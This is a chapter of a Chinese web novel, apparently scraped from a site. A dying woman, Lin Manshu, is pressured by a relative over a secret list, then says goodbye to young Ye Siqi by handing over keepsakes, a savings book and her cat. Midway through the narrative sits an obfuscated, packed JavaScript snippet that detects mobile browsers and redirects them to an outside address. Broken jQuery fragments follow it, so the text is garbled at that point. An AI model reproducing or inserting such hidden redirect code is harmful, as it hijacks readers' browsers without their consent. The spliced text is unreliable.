消毒水味像无孔不入的藤蔓，顺着门缝钻进病房，混着氧气机“嘀嘀”的运作声，压得人呼吸都轻了几分。


    林蔓舒半靠在摇起的病床上，身上盖着的条纹病号服空荡荡的，衬得她本就纤细的肩颈更像一折就断的枯枝。


    透明的氧气管贴着她苍白的脸颊，一端插在鼻腔里，随着她微弱的呼吸轻轻颤动。她的嘴唇没半点血色，干裂的唇角泛着浅白的皮，连平时最有神的眼睛，此刻也半睁着，眼尾耷拉着，像蒙了层雾，连聚焦都显得费力。


    光亮的照明灯下，床前的男人看上去有四五十岁左右。他的瞳孔是浑浊的，眼睛下面有着绉纱般的阴影，他牙齿有点发黄，但讲起话来一点也不含糊，甚至带着些得意。


    “姐，你就把大伯手里那份名单给我。”


    “别叫我姐……”林蔓舒语气虚浮，错开他的眼神，盯着床头柜上半杯凉透的温水，“你和我也没什么关系。”


    旁边的监护仪屏幕正亮着，绿色的波形线随着她的心跳缓慢起伏，每一次跳动的间隔，都像被拉长了似的。


    “虽然大伯背叛了我们，但你永远是我的好姐姐。交出那份名单，我们也会原谅大伯，让他入土为安。”


    林蔓舒侧过脸，左脸颊贴着白色的枕头，眼皮垂了下来，眼泪从眼角流到枕头。


    她呼吸又轻了几分，说：“我不知道你在说什么。”


    那个中年男人站起来，略有些凹陷的眼窝盯着林蔓舒说：“我们绞尽脑汁，不明白为什么大伯会维护那些人，后来才知道，有一份绝密名单。而顾明，就在这份名单上。”


    “以你的大小姐脾气，挥金如土的开销，大伯怎么会把你嫁给一个什么都没有的穷小子。”


    林蔓舒手搭在病床扶手上，说句话都似是耗尽全身力气：“是我死缠烂打追着他不放。”


    “姐，何必和我演这出戏呢。”那男人从怀里掏出一沓厚重的信封，放在床头柜上，“我们早知道，嘉亿……”


    林蔓舒原本苍白的脸瞬间没了一丝血色，连唇瓣都泛着青灰，氧气管从鼻腔滑落半寸，她却没力气去扶。


    “顾康台，就是顾明。”


    林蔓舒只觉得一股寒气从脚底窜上来，顺着脊椎爬进胸腔，攥得心脏发紧，监护仪上的波点间隔时间越来越长。


    男人看着病床上发抖的林蔓舒，嘴角浮起古怪的笑意，他不管不顾，继续输出：“你以为顾明带回顾嘉过上好日子？你可太天真了。我要是把资料放你手里，你该多心疼啊。”


    “你什么意思？”林蔓舒猛地睁开眼睛，转身盯着男人。


    抓住林蔓舒的软肋，男人手指拍了拍信封，言语里尽是自信：“照片背面有我电话，如果你想开了，就把名单交给我。”


    走之前他还特意补充道：“虎毒不食子，至少我会把顾嘉当亲外甥，而不会把他送去当人质。”


    “你……”林蔓舒挤不出字，视线从那男人的背影落在那信封上，发颤的指尖顺了过去。


    她打开信封，照片里确实是林顾嘉没错，有刚到顾家的照片，还有……


    林蔓舒呼吸一滞，肩膀控制不住地抖起来，她不敢置信地多翻了几张，呼吸顿时变得局促。


    露在病号服外的手紧紧攒着床单，连手背的青筋都绷了起来，监护仪的绿色波形剧烈起伏。林蔓舒死死盯着那沓照片，眼前阵阵发黑。


    “你……你们怎么敢……”林蔓舒声音嘶哑，抖着的手猛然卸力。整个人像被抽走了所有的力气，连呼吸都带着颤音，仿佛下一秒就被愤怒与悔恨吞噬。


    *


    叶思琪坐高铁赶往B市，心一直悬在半空，可到了医院，林蔓舒的房间号里已空无一人。


    值班护士说病人刚办理了退院手续，语气里还带着惋惜：“去年检查出来就让她动手术化疗的，她住了三天就放弃了。这么年轻，可惜了。”


    叶思琪说不出一句话，拎着24寸的行李箱转身就走，行李箱的轮子发出“咕噜咕噜”的声响，回荡在布满消毒水味的走廊。


    到路边，叶思琪无意识地拦了辆出租车，报出林蔓舒家的地址时，指尖还在微微发颤。


    车停在熟悉的家门口，路灯的光落在银色的行李箱上，泛着冷白的亮。叶思琪站在林蔓舒那户门前，手抬了好几次，却始终没敢敲下去。


    她怕推开门看到的，不是她记忆中的林姨。


    犹豫了半天，她还是拎着箱子转身回了自己家。


    钥匙插进锁孔转动的瞬间，一道白色的影子就冲了出来，一只布偶猫冲了出来，用脑袋蹭着她的脚踝，尾巴绕着她的裤腿打圈。


    猫砂盆和自动喂食器已经挪到了她家，连猫窝和猫爬架子也一并装在了楼梯角落。


    “奶酪。”叶思琪蹲下身，顺着它柔软的毛发撸了两下，鼻尖一酸，一把将它抱在怀里。


    怀里的猫温温热热的，发出“咕噜咕噜”的安抚声，可她心里的慌却一点没减。


    抱着奶酪站了会儿，她还是转身往隔壁走。


    门没关严，留着一条缝。


    叶思琪刚推开门，就听见林蔓舒的声音：“思琪！”


    她整理表情，只见林蔓舒刚端出一碗排骨。


    她身上穿了件鹅黄色的连衣裙，领口和裙边都缀着蕾丝花边。她化了淡妆，浅粉色的腮红遮住了脸上的病色，嘴唇涂着淡淡的唇膏，看起来气色很好。


    “来吃晚饭吧。”林蔓舒笑着招手，还扶了一下椅背，动作慢得像怕摔着。


    叶思琪抱着奶酪走过去，强扯出一个笑容：“林姨，我又来蹭饭啦。”


    怀里的奶酪似乎察觉到气氛不对，从叶思琪怀里跳下来，乖乖跟在林蔓舒的后面，嘴里“呜呜”喊了几声，没像平时那样闹腾。


    桌椅就摆在窗边，一桌子的热菜还冒着热气，红烧排骨的香味漫在空气里，勾得人胃里发馋，可叶思琪却没什么胃口。她看着林蔓舒拿起筷子，夹了一块排骨放进嘴里，慢慢咀嚼着，每咽一口都要顿一下，心里像被什么东西揪着，疼得厉害。


    饭后，林蔓舒端来一个铁盒——


    盒子是银色的，边缘有些生锈，没上锁，一抬锁扣就“咔嗒”一声开了。里面铺着柔软的绒布，放着旧手机、泛黄的明信片，还有一些小小的玩偶，都是些老物件。


    “这好像是思媛的手机吧？”林蔓舒捡起里面的旧手机递给叶思琪，是那个年代第一批智能机，手机外壳是粉色的，三个按键被磨得掉了点颜色，“那会儿还是小意托我去挑的，送她去学校时带的。后来思媛换了新手机，就把这个寄回来了。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382639|183825||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    叶思琪接过手机，翻来覆去看了一圈，眼眶有些红，“记得。我妈当时说要给我用，我气得跟她闹了好几天，非要她给我买个新的。”


    那时候她已经上高中了，刚和叶思媛大吵了一架，更不愿意用她的旧手机。


    林蔓舒听了，低头笑了一下，眼角的细纹里藏着温柔的回忆。她又从盒子里捡出两张纸递给叶思琪：“都给你了，我再去拿个东西。”


    叶思琪捏着那两张纸，指尖轻轻摩挲着——


    上面是用蜡笔画的画。第一张画的是两个大头娃娃，一个男孩一个女孩，线条歪歪扭扭的，男孩的头发画得像个小黑球，女孩的裙子涂着粉色的蜡笔，背面用红色蜡笔一笔一画写着“结婚证”三个字，字迹稚拙，却透着满满的认真。


    叠在下面的一张画得更精致些，用黑水笔勾勒出的人物形态很利落，男孩穿着小西装，女孩扎着羊角辫，身上用多彩的蜡笔涂了颜色，连背景都画了小小的太阳和云朵。


    一些被藏在角落的记忆突然涌了上来——


    那是她小时候赖着林顾嘉画的。


    “呜呜呜……他们居然说思媛姐姐不是我的亲姐姐，她长那么好看怎么不会是我亲姐姐！”


    “他们说我是野孩子呜呜呜呜呜。”


    “顾嘉哥哥！你当我老公公吧！就没人敢欺负我了！”


    小小的思琪一边哭诉，一边吃着各个小男孩送的饼干和薯片。


    “我就要和你结婚！你长得比幼儿园里的所有男的都帅！”


    “今天大个子爸爸和我们老师结婚了，请我们吃好多喜糖，我也要和顾嘉哥哥结婚！”


    林顾嘉就笑着拿出蜡笔，陪她画了这两张“结婚证”，还说：“那你书包里的零食也得送我一半哦。”


    “没问题，都送给顾嘉哥哥。”


    “是谁塞在我书包里啊，都没林姨做的饭好吃。”说完这句话，叶思琪刚嚼完嘴里的妙脆角，吮吸指尖留下的味道。


    怀里的奶酪忽然动了动，爪子不小心划到了画纸上，扣落一道蜡，打破叶思琪的回忆。


    “思琪，这个给你。”林蔓舒的声音从身后传来，她手里拿着一叠红色的本子，脚步有些虚浮地走过来，把一个红色的存折递给叶思琪，“奶酪就交给你了，宿舍不方便养猫的话你帮我找个可靠的同学吧。”


    叶思琪看着那个存折，封面已经有些磨损了，上面印着银行的旧logo。


    她摇摇头，声音带着哭腔：“我不要。”


    “本来是留给洛白的。”林蔓舒的眼眶突然红了，眼泪掉在存折上，晕开一小片湿痕，“他现在什么都有，也不需要这个了，我也没其他亲人，当年本就是小意扶了我一把，还是就留给你吧，我也放心些。”


    “我不要！”叶思琪突然喊出声，眼泪再也忍不住，顺着脸颊往下淌，“你自己给他！奶酪你也自己养！我不要，我就是不要……”


    她的声音越来越哽咽，后面的话怎么也说不出来——


    林蔓舒自己也红了眼，想伸手拍她的肩膀，却没什么力气抬起来。


    叶思琪哭着转身就往外跑，手里还攥着那两张蜡笔画，跑过楼道时，眼泪掉在台阶上，晕开一小片湿痕。


    她不敢回头，也怕亲耳听到林蔓舒说出口，不留一点余地。